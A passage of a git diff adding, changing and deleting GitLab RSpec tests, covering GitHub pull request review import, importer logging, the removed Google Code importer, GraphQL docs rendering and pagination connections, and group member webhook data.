+RSpec.describe Gitlab::GithubImport::Importer::PullRequestReviewImporter, :clean_gitlab_redis_cache do
+ using RSpec::Parameterized::TableSyntax
+
+ let_it_be(:merge_request) { create(:merge_request) }
+ let(:project) { merge_request.project }
+ let(:client_double) { double(user: double(id: 999, login: 'author', email: 'author@email.com')) }
+ let(:submitted_at) { Time.new(2017, 1, 1, 12, 00).utc }
+
+ subject { described_class.new(review, project, client_double) }
+
+ context 'when the review author can be mapped to a gitlab user' do
+ let_it_be(:author) { create(:user, email: 'author@email.com') }
+
+ context 'when the review has no note text' do
+ context 'when the review is "APPROVED"' do
+ let(:review) { create_review(type: 'APPROVED', note: '') }
+
+ it 'creates a note for the review' do
+ expect { subject.execute }.to change(Note, :count)
+
+ last_note = merge_request.notes.last
+ expect(last_note.note).to eq('approved this merge request')
+ expect(last_note.author).to eq(author)
+ expect(last_note.created_at).to eq(submitted_at)
+ expect(last_note.system_note_metadata.action).to eq('approved')
+
+ expect(merge_request.approved_by_users.reload).to include(author)
+ expect(merge_request.approvals.last.created_at).to eq(submitted_at)
+ end
+ end
+
+ context 'when the review is "COMMENTED"' do
+ let(:review) { create_review(type: 'COMMENTED', note: '') }
+
+ it 'creates a note for the review' do
+ expect { subject.execute }.not_to change(Note, :count)
+ end
+ end
+
+ context 'when the review is "CHANGES_REQUESTED"' do
+ let(:review) { create_review(type: 'CHANGES_REQUESTED', note: '') }
+
+ it 'creates a note for the review' do
+ expect { subject.execute }.not_to change(Note, :count)
+ end
+ end
+ end
+
+ context 'when the review has a note text' do
+ context 'when the review is "APPROVED"' do
+ let(:review) { create_review(type: 'APPROVED') }
+
+ it 'creates a note for the review' do
+ expect { subject.execute }
+ .to change(Note, :count).by(2)
+ .and change(Approval, :count).by(1)
+
+ note = merge_request.notes.where(system: false).last
+ expect(note.note).to eq("**Review:** Approved\n\nnote")
+ expect(note.author).to eq(author)
+ expect(note.created_at).to eq(submitted_at)
+
+ system_note = merge_request.notes.where(system: true).last
+ expect(system_note.note).to eq('approved this merge request')
+ expect(system_note.author).to eq(author)
+ expect(system_note.created_at).to eq(submitted_at)
+ expect(system_note.system_note_metadata.action).to eq('approved')
+
+ expect(merge_request.approved_by_users.reload).to include(author)
+ expect(merge_request.approvals.last.created_at).to eq(submitted_at)
+ end
+ end
+
+ context 'when the review is "COMMENTED"' do
+ let(:review) { create_review(type: 'COMMENTED') }
+
+ it 'creates a note for the review' do
+ expect { subject.execute }
+ .to change(Note, :count).by(1)
+ .and not_change(Approval, :count)
+
+ last_note = merge_request.notes.last
+
+ expect(last_note.note).to eq("**Review:** Commented\n\nnote")
+ expect(last_note.author).to eq(author)
+ expect(last_note.created_at).to eq(submitted_at)
+ end
+ end
+
+ context 'when the review is "CHANGES_REQUESTED"' do
+ let(:review) { create_review(type: 'CHANGES_REQUESTED') }
+
+ it 'creates a note for the review' do
+ expect { subject.execute }
+ .to change(Note, :count).by(1)
+ .and not_change(Approval, :count)
+
+ last_note = merge_request.notes.last
+
+ expect(last_note.note).to eq("**Review:** Changes requested\n\nnote")
+ expect(last_note.author).to eq(author)
+ expect(last_note.created_at).to eq(submitted_at)
+ end
+ end
+ end
+ end
+
+ context 'when the review author cannot be mapped to a gitlab user' do
+ context 'when the review has no note text' do
+ context 'when the review is "APPROVED"' do
+ let(:review) { create_review(type: 'APPROVED', note: '') }
+
+ it 'creates a note for the review with *Approved by by<author>*' do
+ expect { subject.execute }
+ .to change(Note, :count).by(1)
+
+ last_note = merge_request.notes.last
+ expect(last_note.note).to eq("*Created by author*\n\n**Review:** Approved")
+ expect(last_note.author).to eq(project.creator)
+ expect(last_note.created_at).to eq(submitted_at)
+ end
+ end
+
+ context 'when the review is "COMMENTED"' do
+ let(:review) { create_review(type: 'COMMENTED', note: '') }
+
+ it 'creates a note for the review with *Commented by<author>*' do
+ expect { subject.execute }.not_to change(Note, :count)
+ end
+ end
+
+ context 'when the review is "CHANGES_REQUESTED"' do
+ let(:review) { create_review(type: 'CHANGES_REQUESTED', note: '') }
+
+ it 'creates a note for the review with *Changes requested by <author>*' do
+ expect { subject.execute }.not_to change(Note, :count)
+ end
+ end
+ end
+
+ context 'when the review has a note text' do
+ context 'when the review is "APPROVED"' do
+ let(:review) { create_review(type: 'APPROVED') }
+
+ it 'creates a note for the review with *Approved by by<author>*' do
+ expect { subject.execute }
+ .to change(Note, :count).by(1)
+
+ last_note = merge_request.notes.last
+
+ expect(last_note.note).to eq("*Created by author*\n\n**Review:** Approved\n\nnote")
+ expect(last_note.author).to eq(project.creator)
+ expect(last_note.created_at).to eq(submitted_at)
+ end
+ end
+
+ context 'when the review is "COMMENTED"' do
+ let(:review) { create_review(type: 'COMMENTED') }
+
+ it 'creates a note for the review with *Commented by<author>*' do
+ expect { subject.execute }
+ .to change(Note, :count).by(1)
+
+ last_note = merge_request.notes.last
+
+ expect(last_note.note).to eq("*Created by author*\n\n**Review:** Commented\n\nnote")
+ expect(last_note.author).to eq(project.creator)
+ expect(last_note.created_at).to eq(submitted_at)
+ end
+ end
+
+ context 'when the review is "CHANGES_REQUESTED"' do
+ let(:review) { create_review(type: 'CHANGES_REQUESTED') }
+
+ it 'creates a note for the review with *Changes requested by <author>*' do
+ expect { subject.execute }
+ .to change(Note, :count).by(1)
+
+ last_note = merge_request.notes.last
+
+ expect(last_note.note).to eq("*Created by author*\n\n**Review:** Changes requested\n\nnote")
+ expect(last_note.author).to eq(project.creator)
+ expect(last_note.created_at).to eq(submitted_at)
+ end
+ end
+ end
+ end
+
+ def create_review(type:, note: 'note')
+ Gitlab::GithubImport::Representation::PullRequestReview.from_json_hash(
+ merge_request_id: merge_request.id,
+ review_type: type,
+ note: note,
+ submitted_at: submitted_at.to_s,
+ author: { id: 999, login: 'author' }
+ )
+ end
+end
diff --git a/spec/lib/gitlab/github_import/importer/pull_requests_importer_spec.rb b/spec/lib/gitlab/github_import/importer/pull_requests_importer_spec.rb
index 0835c6155b9..8a7867f3841 100644
--- a/spec/lib/gitlab/github_import/importer/pull_requests_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/pull_requests_importer_spec.rb
@@ -29,6 +29,7 @@ RSpec.describe Gitlab::GithubImport::Importer::PullRequestsImporter do
milestone: double(:milestone, number: 4),
user: double(:user, id: 4, login: 'alice'),
assignee: double(:user, id: 4, login: 'alice'),
+ merged_by: double(:user, id: 4, login: 'alice'),
created_at: 1.second.ago,
updated_at: 1.second.ago,
merged_at: 1.second.ago
diff --git a/spec/lib/gitlab/github_import/importer/pull_requests_merged_by_importer_spec.rb b/spec/lib/gitlab/github_import/importer/pull_requests_merged_by_importer_spec.rb
new file mode 100644
index 00000000000..b859cc727a6
--- /dev/null
+++ b/spec/lib/gitlab/github_import/importer/pull_requests_merged_by_importer_spec.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::GithubImport::Importer::PullRequestsMergedByImporter do
+ let(:client) { double }
+ let(:project) { create(:project, import_source: 'http://somegithub.com') }
+
+ subject { described_class.new(project, client) }
+
+ it { is_expected.to include_module(Gitlab::GithubImport::ParallelScheduling) }
+
+ describe '#representation_class' do
+ it { expect(subject.representation_class).to eq(Gitlab::GithubImport::Representation::PullRequest) }
+ end
+
+ describe '#importer_class' do
+ it { expect(subject.importer_class).to eq(Gitlab::GithubImport::Importer::PullRequestMergedByImporter) }
+ end
+
+ describe '#collection_method' do
+ it { expect(subject.collection_method).to eq(:pull_requests_merged_by) }
+ end
+
+ describe '#id_for_already_imported_cache' do
+ it { expect(subject.id_for_already_imported_cache(double(number: 1))).to eq(1) }
+ end
+
+ describe '#each_object_to_import' do
+ it 'fetchs the merged pull requests data' do
+ pull_request = double
+ create(
+ :merged_merge_request,
+ iid: 999,
+ source_project: project,
+ target_project: project
+ )
+
+ allow(client)
+ .to receive(:pull_request)
+ .with('http://somegithub.com', 999)
+ .and_return(pull_request)
+
+ expect { |b| subject.each_object_to_import(&b) }.to yield_with_args(pull_request)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/github_import/importer/pull_requests_reviews_importer_spec.rb b/spec/lib/gitlab/github_import/importer/pull_requests_reviews_importer_spec.rb
new file mode 100644
index 00000000000..5e2302f9662
--- /dev/null
+++ b/spec/lib/gitlab/github_import/importer/pull_requests_reviews_importer_spec.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::GithubImport::Importer::PullRequestsReviewsImporter do
+ let(:client) { double }
+ let(:project) { create(:project, import_source: 'github/repo') }
+
+ subject { described_class.new(project, client) }
+
+ it { is_expected.to include_module(Gitlab::GithubImport::ParallelScheduling) }
+
+ describe '#representation_class' do
+ it { expect(subject.representation_class).to eq(Gitlab::GithubImport::Representation::PullRequestReview) }
+ end
+
+ describe '#importer_class' do
+ it { expect(subject.importer_class).to eq(Gitlab::GithubImport::Importer::PullRequestReviewImporter) }
+ end
+
+ describe '#collection_method' do
+ it { expect(subject.collection_method).to eq(:pull_request_reviews) }
+ end
+
+ describe '#id_for_already_imported_cache' do
+ it { expect(subject.id_for_already_imported_cache(double(github_id: 1))).to eq(1) }
+ end
+
+ describe '#each_object_to_import' do
+ it 'fetchs the merged pull requests data' do
+ merge_request = create(:merge_request, source_project: project)
+ review = double
+
+ expect(review)
+ .to receive(:merge_request_id=)
+ .with(merge_request.id)
+
+ allow(client)
+ .to receive(:pull_request_reviews)
+ .with('github/repo', merge_request.iid)
+ .and_return([review])
+
+ expect { |b| subject.each_object_to_import(&b) }.to yield_with_args(review)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/github_import/parallel_scheduling_spec.rb b/spec/lib/gitlab/github_import/parallel_scheduling_spec.rb
index 578743be96b..1e31cd2f007 100644
--- a/spec/lib/gitlab/github_import/parallel_scheduling_spec.rb
+++ b/spec/lib/gitlab/github_import/parallel_scheduling_spec.rb
@@ -7,6 +7,10 @@ RSpec.describe Gitlab::GithubImport::ParallelScheduling do
Class.new do
include(Gitlab::GithubImport::ParallelScheduling)
+ def importer_class
+ Class
+ end
+
def collection_method
:issues
end
@@ -63,6 +67,82 @@ RSpec.describe Gitlab::GithubImport::ParallelScheduling do
importer.execute
end
+
+ it 'logs the the process' do
+ importer = importer_class.new(project, client, parallel: false)
+
+ expect(importer)
+ .to receive(:sequential_import)
+ .and_return([])
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info)
+ .with(
+ message: 'starting importer',
+ import_source: :github,
+ parallel: false,
+ project_id: project.id,
+ importer: 'Class'
+ )
+ expect(logger)
+ .to receive(:info)
+ .with(
+ message: 'importer finished',
+ import_source: :github,
+ parallel: false,
+ project_id: project.id,
+ importer: 'Class'
+ )
+ end
+
+ importer.execute
+ end
+
+ it 'logs the error when it fails' do
+ exception = StandardError.new('some error')
+
+ importer = importer_class.new(project, client, parallel: false)
+
+ expect(importer)
+ .to receive(:sequential_import)
+ .and_raise(exception)
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info)
+ .with(
+ message: 'starting importer',
+ import_source: :github,
+ parallel: false,
+ project_id: project.id,
+ importer: 'Class'
+ )
+ expect(logger)
+ .to receive(:error)
+ .with(
+ message: 'importer failed',
+ import_source: :github,
+ project_id: project.id,
+ parallel: false,
+ importer: 'Class',
+ 'error.message': 'some error'
+ )
+ end
+
+ expect(Gitlab::ErrorTracking)
+ .to receive(:track_exception)
+ .with(
+ exception,
+ import_source: :github,
+ parallel: false,
+ project_id: project.id,
+ importer: 'Class'
+ )
+ .and_call_original
+
+ expect { importer.execute }.to raise_error(exception)
+ end
end
describe '#sequential_import' do
diff --git a/spec/lib/gitlab/github_import/representation/pull_request_review_spec.rb b/spec/lib/gitlab/github_import/representation/pull_request_review_spec.rb
new file mode 100644
index 00000000000..f9763455468
--- /dev/null
+++ b/spec/lib/gitlab/github_import/representation/pull_request_review_spec.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::GithubImport::Representation::PullRequestReview do
+ let(:submitted_at) { Time.new(2017, 1, 1, 12, 00).utc }
+
+ shared_examples 'a PullRequest review' do
+ it 'returns an instance of PullRequest' do
+ expect(review).to be_an_instance_of(described_class)
+ expect(review.author).to be_an_instance_of(Gitlab::GithubImport::Representation::User)
+ expect(review.author.id).to eq(4)
+ expect(review.author.login).to eq('alice')
+ expect(review.note).to eq('note')
+ expect(review.review_type).to eq('APPROVED')
+ expect(review.submitted_at).to eq(submitted_at)
+ expect(review.github_id).to eq(999)
+ expect(review.merge_request_id).to eq(42)
+ end
+ end
+
+ describe '.from_api_response' do
+ let(:response) do
+ double(
+ :response,
+ id: 999,
+ merge_request_id: 42,
+ body: 'note',
+ state: 'APPROVED',
+ user: double(:user, id: 4, login: 'alice'),
+ submitted_at: submitted_at
+ )
+ end
+
+ it_behaves_like 'a PullRequest review' do
+ let(:review) { described_class.from_api_response(response) }
+ end
+
+ it 'does not set the user if the response did not include a user' do
+ allow(response)
+ .to receive(:user)
+ .and_return(nil)
+
+ review = described_class.from_api_response(response)
+
+ expect(review.author).to be_nil
+ end
+ end
+
+ describe '.from_json_hash' do
+ let(:hash) do
+ {
+ 'github_id' => 999,
+ 'merge_request_id' => 42,
+ 'note' => 'note',
+ 'review_type' => 'APPROVED',
+ 'author' => { 'id' => 4, 'login' => 'alice' },
+ 'submitted_at' => submitted_at.to_s
+ }
+ end
+
+ it_behaves_like 'a PullRequest review' do
+ let(:review) { described_class.from_json_hash(hash) }
+ end
+
+ it 'does not set the user if the response did not include a user' do
+ review = described_class.from_json_hash(hash.except('author'))
+
+ expect(review.author).to be_nil
+ end
+ end
+end
diff --git a/spec/lib/gitlab/github_import/representation/pull_request_spec.rb b/spec/lib/gitlab/github_import/representation/pull_request_spec.rb
index 370eac1d993..27a82951b01 100644
--- a/spec/lib/gitlab/github_import/representation/pull_request_spec.rb
+++ b/spec/lib/gitlab/github_import/representation/pull_request_spec.rb
@@ -115,6 +115,7 @@ RSpec.describe Gitlab::GithubImport::Representation::PullRequest do
milestone: double(:milestone, number: 4),
user: double(:user, id: 4, login: 'alice'),
assignee: double(:user, id: 4, login: 'alice'),
+ merged_by: double(:user, id: 4, login: 'alice'),
created_at: created_at,
updated_at: updated_at,
merged_at: merged_at
diff --git a/spec/lib/gitlab/google_code_import/client_spec.rb b/spec/lib/gitlab/google_code_import/client_spec.rb
deleted file mode 100644
index 402d2169432..00000000000
--- a/spec/lib/gitlab/google_code_import/client_spec.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-# frozen_string_literal: true
-
-require "spec_helper"
-
-RSpec.describe Gitlab::GoogleCodeImport::Client do
- let(:raw_data) { Gitlab::Json.parse(fixture_file("GoogleCodeProjectHosting.json")) }
-
- subject { described_class.new(raw_data) }
-
- describe "#valid?" do
- context "when the data is valid" do
- it "returns true" do
- expect(subject).to be_valid
- end
- end
-
- context "when the data is invalid" do
- let(:raw_data) { "No clue" }
-
- it "returns true" do
- expect(subject).not_to be_valid
- end
- end
- end
-
- describe "#repos" do
- it "returns only Git repositories" do
- expect(subject.repos.length).to eq(1)
- expect(subject.incompatible_repos.length).to eq(1)
- end
- end
-
- describe "#repo" do
- it "returns the referenced repository" do
- expect(subject.repo("tint2").name).to eq("tint2")
- end
- end
-end
diff --git a/spec/lib/gitlab/google_code_import/importer_spec.rb b/spec/lib/gitlab/google_code_import/importer_spec.rb
deleted file mode 100644
index a22e80ae1c0..00000000000
--- a/spec/lib/gitlab/google_code_import/importer_spec.rb
+++ /dev/null
@@ -1,88 +0,0 @@
-# frozen_string_literal: true
-
-require "spec_helper"
-
-RSpec.describe Gitlab::GoogleCodeImport::Importer do
- let(:mapped_user) { create(:user, username: "thilo123") }
- let(:raw_data) { Gitlab::Json.parse(fixture_file("GoogleCodeProjectHosting.json")) }
- let(:client) { Gitlab::GoogleCodeImport::Client.new(raw_data) }
- let(:import_data) do
- {
- 'repo' => client.repo('tint2').raw_data,
- 'user_map' => { 'thilo...' => "@#{mapped_user.username}" }
- }
- end
-
- let(:project) { create(:project) }
-
- subject { described_class.new(project) }
-
- before do
- project.add_maintainer(project.creator)
- project.create_import_data(data: import_data)
- end
-
- describe "#execute" do
- it "imports status labels" do
- subject.execute
-
- %w(New NeedInfo Accepted Wishlist Started Fixed Invalid Duplicate WontFix Incomplete).each do |status|
- expect(project.labels.find_by(name: "Status: #{status}")).not_to be_nil
- end
- end
-
- it "imports labels" do
- subject.execute
-
- %w(
- Type-Defect Type-Enhancement Type-Task Type-Review Type-Other Milestone-0.12 Priority-Critical
- Priority-High Priority-Medium Priority-Low OpSys-All OpSys-Windows OpSys-Linux OpSys-OSX Security
- Performance Usability Maintainability Component-Panel Component-Taskbar Component-Battery
- Component-Systray Component-Clock Component-Launcher Component-Tint2conf Component-Docs Component-New
- ).each do |label|
- label = label.sub("-", ": ")
- expect(project.labels.find_by(name: label)).not_to be_nil
- end
- end
-
- it "imports issues" do
- subject.execute
-
- issue = project.issues.first
- expect(issue).not_to be_nil
- expect(issue.iid).to eq(169)
- expect(issue.author).to eq(project.creator)
- expect(issue.assignees).to eq([mapped_user])
- expect(issue.state).to eq("closed")
- expect(issue.label_names).to include("Priority: Medium")
- expect(issue.label_names).to include("Status: Fixed")
- expect(issue.label_names).to include("Type: Enhancement")
- expect(issue.title).to eq("Scrolling through tasks")
- expect(issue.state).to eq("closed")
- expect(issue.description).to include("schattenpr\\.\\.\\.")
- expect(issue.description).to include("November 18, 2009 00:20")
- expect(issue.description).to include("Google Code")
- expect(issue.description).to include('I like to scroll through the tasks with my scrollwheel (like in fluxbox).')
- expect(issue.description).to include('Patch is attached that adds two new mouse-actions (next_task+prev_task)')
- expect(issue.description).to include('that can be used for exactly that purpose.')
- expect(issue.description).to include('all the best!')
- expect(issue.description).to include('[tint2_task_scrolling.diff](https://storage.googleapis.com/google-code-attachments/tint2/issue-169/comment-0/tint2_task_scrolling.diff)')
- expect(issue.description).to include('![screenshot.png](https://storage.googleapis.com/google-code-attachments/tint2/issue-169/comment-0/screenshot.png)')
- expect(issue.description).to include('![screenshot1.PNG](https://storage.googleapis.com/google-code-attachments/tint2/issue-169/comment-0/screenshot1.PNG)')
- end
-
- it "imports issue comments" do
- subject.execute
-
- note = project.issues.first.notes.first
- expect(note).not_to be_nil
- expect(note.note).to include("Comment 1")
- expect(note.note).to include("@#{mapped_user.username}")
- expect(note.note).to include("November 18, 2009 05:14")
- expect(note.note).to include("applied, thanks.")
- expect(note.note).to include("Status: Fixed")
- expect(note.note).to include("~~Type: Defect~~")
- expect(note.note).to include("Type: Enhancement")
- end
- end
-end
diff --git a/spec/lib/gitlab/google_code_import/project_creator_spec.rb b/spec/lib/gitlab/google_code_import/project_creator_spec.rb
deleted file mode 100644
index cfebe57aed3..00000000000
--- a/spec/lib/gitlab/google_code_import/project_creator_spec.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::GoogleCodeImport::ProjectCreator do
- let(:user) { create(:user) }
- let(:repo) do
- Gitlab::GoogleCodeImport::Repository.new(
- "name" => 'vim',
- "summary" => 'VI Improved',
- "repositoryUrls" => ["https://vim.googlecode.com/git/"]
- )
- end
-
- let(:namespace) { create(:group) }
-
- before do
- namespace.add_owner(user)
- end
-
- it 'creates project' do
- expect_next_instance_of(Project) do |project|
- expect(project).to receive(:add_import_job)
- end
-
- project_creator = described_class.new(repo, namespace, user)
- project = project_creator.execute
-
- expect(project.import_url).to eq("https://vim.googlecode.com/git/")
- expect(project.visibility_level).to eq(Gitlab::VisibilityLevel::PUBLIC)
- end
-end
diff --git a/spec/lib/gitlab/graphql/docs/renderer_spec.rb b/spec/lib/gitlab/graphql/docs/renderer_spec.rb
index d1be962a4f8..064e0c6828b 100644
--- a/spec/lib/gitlab/graphql/docs/renderer_spec.rb
+++ b/spec/lib/gitlab/graphql/docs/renderer_spec.rb
@@ -30,7 +30,7 @@ RSpec.describe Gitlab::Graphql::Docs::Renderer do
Class.new(Types::BaseObject) do
graphql_name 'ArrayTest'
- field :foo, [GraphQL::STRING_TYPE], null: false, description: 'A description'
+ field :foo, [GraphQL::STRING_TYPE], null: false, description: 'A description.'
end
end
@@ -40,7 +40,7 @@ RSpec.describe Gitlab::Graphql::Docs::Renderer do
| Field | Type | Description |
| ----- | ---- | ----------- |
- | `foo` | String! => Array | A description |
+ | `foo` | String! => Array | A description. |
DOC
is_expected.to include(expectation)
@@ -52,8 +52,8 @@ RSpec.describe Gitlab::Graphql::Docs::Renderer do
Class.new(Types::BaseObject) do
graphql_name 'OrderingTest'
- field :foo, GraphQL::STRING_TYPE, null: false, description: 'A description of foo field'
- field :bar, GraphQL::STRING_TYPE, null: false, description: 'A description of bar field'
+ field :foo, GraphQL::STRING_TYPE, null: false, description: 'A description of foo field.'
+ field :bar, GraphQL::STRING_TYPE, null: false, description: 'A description of bar field.'
end
end
@@ -63,8 +63,8 @@ RSpec.describe Gitlab::Graphql::Docs::Renderer do
| Field | Type | Description |
| ----- | ---- | ----------- |
- | `bar` | String! | A description of bar field |
- | `foo` | String! | A description of foo field |
+ | `bar` | String! | A description of bar field. |
+ | `foo` | String! | A description of foo field. |
DOC
is_expected.to include(expectation)
@@ -76,7 +76,7 @@ RSpec.describe Gitlab::Graphql::Docs::Renderer do
Class.new(Types::BaseObject) do
graphql_name 'DeprecatedTest'
- field :foo, GraphQL::STRING_TYPE, null: false, deprecated: { reason: 'This is deprecated', milestone: '1.10' }, description: 'A description'
+ field :foo, GraphQL::STRING_TYPE, null: false, deprecated: { reason: 'This is deprecated', milestone: '1.10' }, description: 'A description.'
end
end
@@ -86,7 +86,7 @@ RSpec.describe Gitlab::Graphql::Docs::Renderer do
| Field | Type | Description |
| ----- | ---- | ----------- |
- | `foo` **{warning-solid}** | String! | **Deprecated:** This is deprecated. Deprecated in 1.10 |
+ | `foo` **{warning-solid}** | String! | **Deprecated:** This is deprecated. Deprecated in 1.10. |
DOC
is_expected.to include(expectation)
@@ -98,14 +98,14 @@ RSpec.describe Gitlab::Graphql::Docs::Renderer do
enum_type = Class.new(Types::BaseEnum) do
graphql_name 'MyEnum'
- value 'BAZ', description: 'A description of BAZ'
- value 'BAR', description: 'A description of BAR', deprecated: { reason: 'This is deprecated', milestone: '1.10' }
+ value 'BAZ', description: 'A description of BAZ.'
+ value 'BAR', description: 'A description of BAR.', deprecated: { reason: 'This is deprecated', milestone: '1.10' }
end
Class.new(Types::BaseObject) do
graphql_name 'EnumTest'
- field :foo, enum_type, null: false, description: 'A description of foo field'
+ field :foo, enum_type, null: false, description: 'A description of foo field.'
end
end
@@ -115,8 +115,8 @@ RSpec.describe Gitlab::Graphql::Docs::Renderer do
| Value | Description |
| ----- | ----------- |
- | `BAR` **{warning-solid}** | **Deprecated:** This is deprecated. Deprecated in 1.10 |
- | `BAZ` | A description of BAZ |
+ | `BAR` **{warning-solid}** | **Deprecated:** This is deprecated. Deprecated in 1.10. |
+ | `BAZ` | A description of BAZ. |
DOC
is_expected.to include(expectation)
diff --git a/spec/lib/gitlab/graphql/markdown_field_spec.rb b/spec/lib/gitlab/graphql/markdown_field_spec.rb
index 82090f992eb..0e36ea14ac3 100644
--- a/spec/lib/gitlab/graphql/markdown_field_spec.rb
+++ b/spec/lib/gitlab/graphql/markdown_field_spec.rb
@@ -22,6 +22,8 @@ RSpec.describe Gitlab::Graphql::MarkdownField do
.to raise_error(expected_error)
end
+ # TODO: remove as part of https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27536
+ # so that until that time, the developer check is there
it 'raises when passing a resolve block' do
expect { class_with_markdown_field(:test_html, null: true, resolve: -> (_, _, _) { 'not really' } ) }
.to raise_error(expected_error)
diff --git a/spec/lib/gitlab/graphql/pagination/array_connection_spec.rb b/spec/lib/gitlab/graphql/pagination/array_connection_spec.rb
new file mode 100644
index 00000000000..03cf53bb990
--- /dev/null
+++ b/spec/lib/gitlab/graphql/pagination/array_connection_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Gitlab::Graphql::Pagination::ArrayConnection do
+ let(:nodes) { (1..10) }
+
+ subject(:connection) { described_class.new(nodes, max_page_size: 100) }
+
+ it_behaves_like 'a connection with collection methods'
+
+ it_behaves_like 'a redactable connection' do
+ let(:unwanted) { 5 }
+ end
+end
diff --git a/spec/lib/gitlab/graphql/pagination/externally_paginated_array_connection_spec.rb b/spec/lib/gitlab/graphql/pagination/externally_paginated_array_connection_spec.rb
index 932bcd8cd92..d2475d1edb9 100644
--- a/spec/lib/gitlab/graphql/pagination/externally_paginated_array_connection_spec.rb
+++ b/spec/lib/gitlab/graphql/pagination/externally_paginated_array_connection_spec.rb
@@ -10,7 +10,13 @@ RSpec.describe Gitlab::Graphql::Pagination::ExternallyPaginatedArrayConnection d
let(:arguments) { {} }
subject(:connection) do
- described_class.new(all_nodes, { max_page_size: values.size }.merge(arguments))
+ described_class.new(all_nodes, **{ max_page_size: values.size }.merge(arguments))
+ end
+
+ it_behaves_like 'a connection with collection methods'
+
+ it_behaves_like 'a redactable connection' do
+ let(:unwanted) { 3 }
end
describe '#nodes' do
diff --git a/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb b/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb
index c8f368b15fc..0ac54a20fcc 100644
--- a/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb
+++ b/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb
@@ -10,17 +10,24 @@ RSpec.describe Gitlab::Graphql::Pagination::Keyset::Connection do
let(:context) { GraphQL::Query::Context.new(query: OpenStruct.new(schema: schema), values: nil, object: nil) }
subject(:connection) do
- described_class.new(nodes, { context: context, max_page_size: 3 }.merge(arguments))
+ described_class.new(nodes, **{ context: context, max_page_size: 3 }.merge(arguments))
end
def encoded_cursor(node)
- described_class.new(nodes, { context: context }).cursor_for(node)
+ described_class.new(nodes, context: context).cursor_for(node)
end
def decoded_cursor(cursor)
Gitlab::Json.parse(Base64Bp.urlsafe_decode64(cursor))
end
+ it_behaves_like 'a connection with collection methods'
+
+ it_behaves_like 'a redactable connection' do
+ let_it_be(:projects) { create_list(:project, 2) }
+ let(:unwanted) { projects.second }
+ end
+
describe '#cursor_for' do
let(:project) { create(:project) }
let(:cursor) { connection.cursor_for(project) }
diff --git a/spec/lib/gitlab/graphql/pagination/offset_active_record_relation_connection_spec.rb b/spec/lib/gitlab/graphql/pagination/offset_active_record_relation_connection_spec.rb
index 86f35de94ed..1ca7c1c3c69 100644
--- a/spec/lib/gitlab/graphql/pagination/offset_active_record_relation_connection_spec.rb
+++ b/spec/lib/gitlab/graphql/pagination/offset_active_record_relation_connection_spec.rb
@@ -6,4 +6,15 @@ RSpec.describe Gitlab::Graphql::Pagination::OffsetActiveRecordRelationConnection
it 'subclasses from GraphQL::Relay::RelationConnection' do
expect(described_class.superclass).to eq GraphQL::Pagination::ActiveRecordRelationConnection
end
+
+ it_behaves_like 'a connection with collection methods' do
+ let(:connection) { described_class.new(Project.all) }
+ end
+
+ it_behaves_like 'a redactable connection' do
+ let_it_be(:users) { create_list(:user, 2) }
+
+ let(:connection) { described_class.new(User.all, max_page_size: 10) }
+ let(:unwanted) { users.second }
+ end
end
diff --git a/spec/lib/gitlab/graphql/timeout_spec.rb b/spec/lib/gitlab/graphql/timeout_spec.rb
index 3669a89ba7c..999840019d2 100644
--- a/spec/lib/gitlab/graphql/timeout_spec.rb
+++ b/spec/lib/gitlab/graphql/timeout_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Gitlab::Graphql::Timeout do
- it 'inherits from ' do
+ it 'inherits from' do
expect(described_class.superclass).to eq GraphQL::Schema::Timeout
end
diff --git a/spec/lib/gitlab/hook_data/group_member_builder_spec.rb b/spec/lib/gitlab/hook_data/group_member_builder_spec.rb
new file mode 100644
index 00000000000..78c62fd23c7
--- /dev/null
+++ b/spec/lib/gitlab/hook_data/group_member_builder_spec.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::HookData::GroupMemberBuilder do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:group_member) { create(:group_member, :developer, group: group, expires_at: 1.day.from_now) }
+
+ describe '#build' do
+ let(:data) { described_class.new(group_member).build(event) }
+ let(:event_name) { data[:event_name] }
+ let(:attributes) do
+ [
+ :event_name, :created_at, :updated_at, :expires_at, :group_name, :group_path,
+ :group_id, :user_id, :user_username, :user_name, :user_email, :group_access
+ ]
+ end
+
+ context 'data' do
+ shared_examples_for 'includes the required attributes' do
+ it 'includes the required attributes' do
+ expect(data).to include(*attributes)
+
+ expect(data[:group_name]).to eq(group.name)
+ expect(data[:group_path]).to eq(group.path)
+ expect(data[:group_id]).to eq(group.id)
+ expect(data[:user_username]).to eq(group_member.user.username)
+ expect(data[:user_name]).to eq(group_member.user.name)
+ expect(data[:user_email]).to eq(group_member.user.email)
+ expect(data[:user_id]).to eq(group_member.user.id)
+ expect(data[:group_access]).to eq('Developer')
+ expect(data[:created_at]).to eq(group_member.created_at&.xmlschema)
+ expect(data[:updated_at]).to eq(group_member.updated_at&.xmlschema)
+ expect(data[:expires_at]).to eq(group_member.expires_at&.xmlschema)
+ end
+ end
+
+ context 'on create' do
+ let(:event) { :create }
+
+ it { expect(event_name).to eq('user_add_to_group') }
+ it_behaves_like 'includes the required attributes'
+ end
+
+ context 'on update' do
+ let(:event) { :update }
+
+ it { expect(event_name).to eq('user_update_for_group') }
